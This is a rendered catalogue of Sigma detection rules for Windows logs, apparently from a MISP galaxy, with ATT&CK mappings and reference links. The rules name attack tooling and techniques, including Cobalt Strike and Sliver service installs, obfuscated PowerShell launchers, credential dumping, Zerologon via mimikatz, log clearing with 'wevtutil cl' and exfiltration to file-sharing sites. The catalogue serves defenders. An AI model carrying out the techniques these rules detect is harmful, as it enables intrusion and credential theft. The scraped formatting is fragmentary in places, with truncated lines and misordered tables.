- related-to: `misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"` with estimative-language:likelihood-probability="almost-certain"

*Table 8558. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_system_service_installation_by_unusal_client.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_system_service_installation_by_unusal_client.yml</a></td>
</tr>
</tbody>
</table>

**Windows Service Terminated With Error**

Detects Windows services that got terminated for whatever reason

The tag is: `misp-galaxy:sigma-rules="Windows Service Terminated With Error"`
PowerShell Scripts Installed as Services

Detects powershell script installed as a Service

The tag is: misp-galaxy:sigma-rules="PowerShell Scripts Installed as Services"

View relationships graph

PowerShell Scripts Installed as Services has relationships with:


CSExec Service Installation

Detects CSExec service installation and execution events

The tag is: misp-galaxy:sigma-rules="CSExec Service Installation"

View relationships graph

CSExec Service Installation has relationships with:

CobaltStrike Service Installations - System

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

The tag is: misp-galaxy: sigma-rules="CobaltStrike Service Installations - System"

View relationships graph

CobaltStrike Service Installations - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8562. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/">https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/webcasts/119395">https://www.sans.org/webcasts/119395</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_cobaltstrike_service_installs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_cobaltstrike_service_installs.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation COMPRESS OBFUSCATION - System

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: misp-galaxy: sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - System"

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
</tbody>
</table>
HackTool Service Registration or Execution

Detects installation or execution of services

The tag is: misp-galaxy:sigma-rules="HackTool Service Registration or Execution"

View relationships graph

HackTool Service Registration or Execution has relationships with:


Table 8564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research [Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_man_ager/win_system_service_install_hacktools.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_man_ager/win_system_service_install_hacktools.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation STDIN+ Launcher - System

Detects Obfuscated use of stdin to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - System"

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_stdin_services.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_stdin_services.yml</a></td>
</tr>
</tbody>
</table>
**Moriya Rootkit - System**

Detects the use of Moriya rootkit as described in the SecureList's Operation TunnelSnake report.

The tag is: `misp-galaxy:sigma-rules="Moriya Rootkit - System"`

View relationships graph

Moriya Rootkit - System has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimation-language:likelihood-probability="almost-certain"

*Table 8566. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_moriya_rootkit.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_moriya_rootkit.yml</a></td>
</tr>
</tbody>
</table>

**Mesh Agent Service Installation**

Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers.

The tag is: `misp-galaxy:sigma-rules="Mesh Agent Service Installation"`

View relationships graph

Mesh Agent Service Installation has relationships with:


*Table 8567. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_mesh_agent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_mesh_agent.yml</a></td>
</tr>
</tbody>
</table>

**Sliver C2 Default Service Installation**

Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands.

The tag is: `misp-galaxy:sigma-rules="Sliver C2 Default Service Installation"`

View relationships graph
Sliver C2 Default Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231">https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sliver.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sliver.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation Obfuscated IEX Invocation - System

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - System"

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 8569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888">https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_obfuscated_iex_services.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_obfuscated_iex_services.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation VAR+ Launcher - System

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - System"
Invoke-Obfuscation VAR+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_var_services.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_var_services.yml</a></td>
</tr>
</tbody>
</table>

New PDQDeploy Service - Server Side

Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines. PDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines

The tag is: misp-galaxy:sigma-rules="New PDQDeploy Service - Server Side"

View relationships graph

New PDQDeploy Service - Server Side has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm">https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy.yml</a></td>
</tr>
</tbody>
</table>

Service Installation in Suspicious Folder

Detects service installation in suspicious folder appdata

The tag is: misp-galaxy:sigma-rules="Service Installation in Suspicious Folder"

View relationships graph

Service Installation in Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System"

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

RTCore Suspicious Service Installation

Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse

The tag is: misp-galaxy:sigma-rules="RTCore Suspicious Service Installation"
**PsExec Service Installation**

Detects PsExec service installation and execution events

The tag is: `misp-galaxy:sigma-rules="PsExec Service Installation"`

View relationships graph

PsExec Service Installation has relationships with:


*Table 8575. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://jpcertcc.github.io/ToolAnalysisResultSheet">https://jpcertcc.github.io/ToolAnalysisResultSheet</a></td>
</tr>
<tr>
<td><a href="https://www.jpcert.or.jp/english/pub/sr/ir_research.html">https://www.jpcert.or.jp/english/pub/sr/ir_research.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sysinternals_psexec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sysinternals_psexec.yml</a></td>
</tr>
</tbody>
</table>

**NetSupport Manager Service Install**

Detects NetSupport Manager service installation on the target system.

The tag is: `misp-galaxy:sigma-rules="NetSupport Manager Service Install"`

*Table 8576. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf">http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_netsupport_manager.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_netsupport_manager.yml</a></td>
</tr>
</tbody>
</table>

**Windows Defender Threat Detection Disabled - Service**

Detects the "Windows Defender Threat Protection" service has been disabled

The tag is: `misp-galaxy:sigma-rules="Windows Defender Threat Detection Disabled - Service"`

View relationships graph

Windows Defender Threat Detection Disabled - Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

*Table 8577. Table References*
ProcessHacker Privilege Elevation

Detects a ProcessHacker tool that elevated privileges to a very high level

The tag is: `misp-galaxy:sigma-rules="ProcessHacker Privilege Elevation"`

View relationships graph

ProcessHacker Privilege Elevation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8578. Table References

Links

https://twitter.com/1kwester/status/1397816101455765504
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_proceshacker.yml

Important Windows Service Terminated With Error

Detects important or interesting Windows services that got terminated for whatever reason

The tag is: `misp-galaxy:sigma-rules="Important Windows Service Terminated With Error"`

Table 8579. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_error_important.yml
Suspicious Service Installation Script

Detects suspicious service installation scripts

The tag is: `misp-galaxy:sigma-rules="Suspicious Service Installation Script"`

View relationships graph

Suspicious Service Installation Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8580. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Suspicious Service Installation

Detects suspicious service installation commands

The tag is: `misp-galaxy:sigma-rules="Suspicious Service Installation"`

View relationships graph

Suspicious Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8581. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TacticalRMM Service Installation

Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.

The tag is: `misp-galaxy:sigma-rules="TacticalRMM Service Installation"`

View relationships graph

TacticalRMM Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-
Table 8582. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_tacticalrmm.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_tacticalrmm.yml</a></td>
</tr>
</tbody>
</table>

### Credential Dumping Tools Service Execution - System

Detects well-known credential dumping tools execution via service execution events

The tag is: `misp-galaxy:sigma-rules="Credential Dumping Tools Service Execution - System"`

View relationships graph

Credential Dumping Tools Service Execution - System has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"` with estimative-language:likelihood-probability="almost-certain"

Table 8583. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_mal_creddumper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_mal_creddumper.yml</a></td>
</tr>
</tbody>
</table>

### Tap Driver Installation

Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques
**Tap Driver Installation**

Tap Driver Installation has relationships with:


---

**KrbRelayUp Service Installation**

Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)

The tag is: *misp-galaxy: sigma-rules="KrbRelayUp Service Installation"*

---

**Invoke-Obfuscation Via Use MSHTA - System**

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy: sigma-rules="Invoke-Obfuscation Via Use MSHTA - System"*
Invoke-Obfuscation Via Use Clip - System

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - System"

View relationships graph

Invoke-Obfuscation Via Use Clip - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Invoke-Obfuscation CLIP+ Launcher - System

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - System"

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Service Installation with Suspicious Folder Pattern

Detects service installation with suspicious folder patterns

The tag is: *misp-galaxy: sigma-rules*="Service Installation with Suspicious Folder Pattern"

View relationships graph

Service Installation with Suspicious Folder Pattern has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern*="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8589. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_service_installation_folder_pattern.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_service_installation_folder_pattern.yml</a></td>
</tr>
</tbody>
</table>

Remote Utilities Host Service Install

Detects Remote Utilities Host service installation on the target system.

The tag is: *misp-galaxy: sigma-rules*="Remote Utilities Host Service Install"

Table 8590. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.remoteutilities.com/support/kb/host-service-won-t-start/">https://www.remoteutilities.com/support/kb/host-service-won-t-start/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remote_utilities.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remote_utilities.yml</a></td>
</tr>
</tbody>
</table>

Eventlog Cleared

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

The tag is: *misp-galaxy: sigma-rules*="Eventlog Cleared"

View relationships graph

Eventlog Cleared has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern*="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
Important Windows Eventlog Cleared

Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution

The tag is: misp-galaxy:sigma-rules="Important Windows Eventlog Cleared"

View relationships graph

Zerologon Exploitation Using Well-known Tools

This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.

The tag is: misp-galaxy:sigma-rules="Zerologon Exploitation Using Well-known Tools"

View relationships graph
### Vulnerable Netlogon Secure Channel Connection Allowed

Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.

The tag is: `misp-galaxy:sigma-rules="Vulnerable Netlogon Secure Channel Connection Allowed"`

View relationships graph

Vulnerable Netlogon Secure Channel Connection Allowed has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with `estimative-language:likelihood-probability="almost-certain"`

### Sysmon Crash

Detects application popup reporting a failure of the Sysmon service

The tag is: `misp-galaxy:sigma-rules="Sysmon Crash"`

View relationships graph

Sysmon Crash has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with `estimative-language:likelihood-probability="almost-certain"`
KDC RC4-HMAC Downgrade CVE-2022-37966

Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation

The tag is: misp-galaxy:sigma-rules="KDC RC4-HMAC Downgrade CVE-2022-37966"

Certificate Use With No Strong Mapping

Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.

The tag is: misp-galaxy:sigma-rules="Certificate Use With No Strong Mapping"

DHCP Server Loaded the CallOut DLL

This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded

The tag is: misp-galaxy:sigma-rules="DHCP Server Loaded the CallOut DLL"
DHCP Server Error Failed Loading the CallOut DLL

This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded.

The tag is: `misp-galaxy:sigma-rules="DHCP Server Error Failed Loading the CallOut DLL"`

**View relationships graph**

DHCP Server Error Failed Loading the CallOut DLL has relationships with:


Suspicious Digital Signature Of AppX Package

Detects execution of AppX packages with known suspicious or malicious signature.

The tag is: `misp-galaxy:sigma-rules="Suspicious Digital Signature Of AppX Package"`

**Table 8599. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx">https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html">https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html</a></td>
<td></td>
</tr>
</tbody>
</table>

**Table 8598. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx">https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html">https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config.yml</a></td>
<td></td>
</tr>
</tbody>
</table>
HybridConnectionManager Service Running

Rule to detect the Hybrid Connection Manager service running on an endpoint.

The tag is: `misp-galaxy:sigma-rules="HybridConnectionManager Service Running"`

View relationships graph

HybridConnectionManager Service Running has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Cyb3rWard0g/status/1381642789369286662">https://twitter.com/Cyb3rWard0g/status/1381642789369286662</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml</a></td>
</tr>
</tbody>
</table>

Unsigned Binary Loaded From Suspicious Location

Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations

The tag is: `misp-galaxy:sigma-rules="Unsigned Binary Loaded From Suspicious Location"`

View relationships graph

Unsigned Binary Loaded From Suspicious Location has relationships with:


Table 8602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security</a> mitigations_unsigned_dll_from_susp_location.yml</td>
</tr>
</tbody>
</table>
Microsoft Defender Blocked from Loading Unsigned DLL

Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL.

The tag is: misp-galaxy:sigma-rules="Microsoft Defender Blocked from Loading Unsigned DLL"

View relationships graph

Microsoft Defender Blocked from Loading Unsigned DLL has relationships with:


Table 8603. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml</a></td>
</tr>
</tbody>
</table>

WMI Persistence

Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.

The tag is: misp-galaxy:sigma-rules="WMI Persistence"

View relationships graph

WMI Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 8604. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/">https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/mattifestation/status/899646620148539397">https://twitter.com/mattifestation/status/899646620148539397</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml</a></td>
</tr>
</tbody>
</table>
DNS Query for Anonfiles.com Domain - DNS Client

Detections DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes.

The tag is: `misp-galaxy:sigma-rules="DNS Query for Anonfiles.com Domain - DNS Client"`

View relationships graph

DNS Query for Anonfiles.com Domain - DNS Client has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8605. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DNS Query To MEGA Hosting Website - DNS Client

Detects DNS queries for subdomains related to MEGA sharing website.

The tag is: `misp-galaxy:sigma-rules="DNS Query To MEGA Hosting Website - DNS Client"`

View relationships graph

DNS Query To MEGA Hosting Website - DNS Client has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8606. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/">https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/</a></td>
</tr>
</tbody>
</table>

Query Tor Onion Address - DNS Client

Detects DNS resolution of an .onion address related to Tor routing networks.

The tag is: `misp-galaxy:sigma-rules="Query Tor Onion Address - DNS Client"`

View relationships graph
Query Tor Onion Address - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

**Table 8607. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DNS Query To Ufile.io - DNS Client

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

The tag is: *misp-galaxy: sigma-rules="DNS Query To Ufile.io - DNS Client"

**View relationships graph**

DNS Query To Ufile.io - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

**Table 8608. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
